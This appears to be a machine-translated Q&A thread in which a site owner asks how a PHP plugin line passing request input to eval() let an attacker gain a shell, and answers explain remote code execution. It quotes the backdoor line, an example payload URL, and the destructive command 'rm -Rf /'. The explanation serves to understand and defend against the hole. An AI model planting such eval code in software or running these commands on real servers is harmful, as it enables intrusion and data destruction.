通过我认为的 eval() 代码进行炮击

Shelled through I think eval() code

最近我们被一个我不认识的人 shell 了。 我检查了所有的日志,我唯一能找到的是一个来自插件的文件,该文件可能存在缺陷,在他 POSTed 到这个 URL 之后,他可以访问上传的文件, 这确实是 shell.

我怀疑是这行代码导致了这个问题。

(isset($_REQUEST['null']) ? @eval($_REQUEST['null']) : null);

谁能向我解释一下有人会如何 shell 通过这个?我真的很好奇他是怎么做到的,所以我也可以通过其他插件吐槽这样的错误代码。他们基本上从这里上传了一个文件。也许 file_put_contents() 或实际的 POST 带有图像的请求?

我不熟悉黑客,我也从未使用过eval,因为我听说它实际上是一个邪恶的功能。 另外请注意,我不会用它来破解其他网站,我只是想了解这里发生了什么。

这是一个的缺陷!您可以传递整个 PHP 脚本(通过 POST),它将在您的服务器上执行。

想象一下使用 curl (http://php.net/curl) 将任何其他恶意代码下载到您的服务器的 PHP 代码。

或者您可以发送 rm -Rf / 并告别您的文件系统...

通过发出这样的请求

http://yourdomain.com/file.php?null=PHP_PAYLOAD

由于 eval,PHP_PAYLOAD 将是 evaluated/executed。

有效负载可以是任何有效的 php,例如写入新文件、将它们下载到服务器、通过 shell_exec 运行 shell 命令。

任何有效的php代码将被执行。